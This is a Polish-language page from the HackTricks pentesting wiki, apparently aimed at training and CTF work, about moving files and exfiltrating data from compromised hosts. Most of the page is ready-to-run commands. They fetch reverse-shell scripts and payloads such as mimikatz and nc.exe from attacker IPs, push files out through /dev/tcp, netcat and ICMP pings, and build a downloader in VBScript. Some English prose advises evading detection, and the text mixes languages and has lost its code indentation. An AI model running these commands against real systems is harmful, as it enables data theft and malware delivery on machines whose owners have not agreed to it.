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hacktricks/generic-methodologies-and-resources/exfiltration.md

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Wyciekanie danych

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Try Hard Security Group

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Powszechnie zezwolone domeny do wyciekania informacji

Sprawdź https://lots-project.com/, aby znaleźć powszechnie zezwolone domeny, które mogą być nadużywane

Kopiuj i Wklej Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Przesyłanie plików

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Serwer HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Serwer FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Serwer FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Serwer FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Klient systemu Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali jako serwer

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Utwórz udział smb za pomocą samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Exfiltration

Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:

  1. Compression: Compressing data before exfiltration can help evade detection.
  2. Encryption: Encrypting exfiltrated data can prevent unauthorized access.
  3. Steganography: Hiding data within other files or images can be used to exfiltrate data without detection.
  4. DNS Tunneling: Using DNS requests to exfiltrate data can bypass network security measures.
  5. Exfiltration over Alternative Protocols: Utilizing protocols like ICMP or HTTP for data exfiltration can help avoid detection.
  6. Cloud Storage: Uploading exfiltrated data to cloud storage services can provide a convenient and stealthy exfiltration method.

When exfiltrating data from a Windows system, it is important to consider the detection capabilities of security tools and implement countermeasures to avoid detection.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Atakujący musi mieć uruchomiony SSHd.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Jeśli ofiara ma SSH, atakujący może zamontować katalog ofiary do atakującego.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

NC (Netcat) jest potężnym narzędziem do tworzenia połączeń sieciowych wiersza poleceń. Może być używany do przesyłania danych z jednego komputera na drugi poprzez TCP lub UDP. Może być również używany do nasłuchiwania portów na maszynie docelowej, co czyni go przydatnym narzędziem do eksfiltracji danych. Aby użyć NC do eksfiltracji danych, należy najpierw uruchomić nasłuchiwanie na maszynie docelowej, a następnie nawiązać połączenie z tą maszyną z maszyny źródłowej i przesłać dane. Można to zrobić za pomocą poleceń takich jak nc -l -p <port> do nasłuchiwania i nc <host> <port> < plik do przesyłania danych.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Pobierz plik z ofiary

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Prześlij plik do ofiary

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Dzięki @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Jeśli możesz wysyłać dane do serwera SMTP, możesz utworzyć serwer SMTP do odbierania danych za pomocą Pythona:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Domyślnie w systemach XP i 2003 (w innych systemach trzeba ją jawnie dodać podczas instalacji)

W Kali, uruchom serwer TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Serwer TFTP w Pythonie:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

W ofierze, połącz się z serwerem Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Pobierz plik za pomocą jednolinijkowca w PHP:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

VBScript Exfiltration Techniques

VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques:

  1. Writing to Files: VBScript can write data to a file on the system, which can then be exfiltrated using various methods.

  2. Sending Emails: VBScript can be used to send emails with the exfiltrated data as attachments or within the email body.

  3. HTTP Requests: VBScript can make HTTP requests to an external server controlled by the attacker to exfiltrate data.

  4. DNS Tunneling: VBScript can be used to perform DNS tunneling to exfiltrate data by encoding it within DNS requests.

  5. FTP Transfer: VBScript can transfer data using FTP to a remote server controlled by the attacker.

  6. Executing Commands: VBScript can execute commands to exfiltrate data by running commands that output the data.

These techniques can be used by attackers to exfiltrate sensitive data from a compromised system using VBScript.

Attacker> python -m SimpleHTTPServer 80

Ofiara

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Program debug.exe nie tylko pozwala na inspekcję plików binarnych, ale także ma zdolność do odbudowywania ich z kodu szesnastkowego. Oznacza to, że, dostarczając kod szesnastkowy binarnego pliku, debug.exe może wygenerować plik binarny. Jednak ważne jest zauważenie, że debug.exe ma ograniczenie składania plików do 64 kb wielkości.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Następnie skopiuj i wklej tekst do okna powłoki systemu Windows, a zostanie utworzony plik o nazwie nc.exe.

DNS

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

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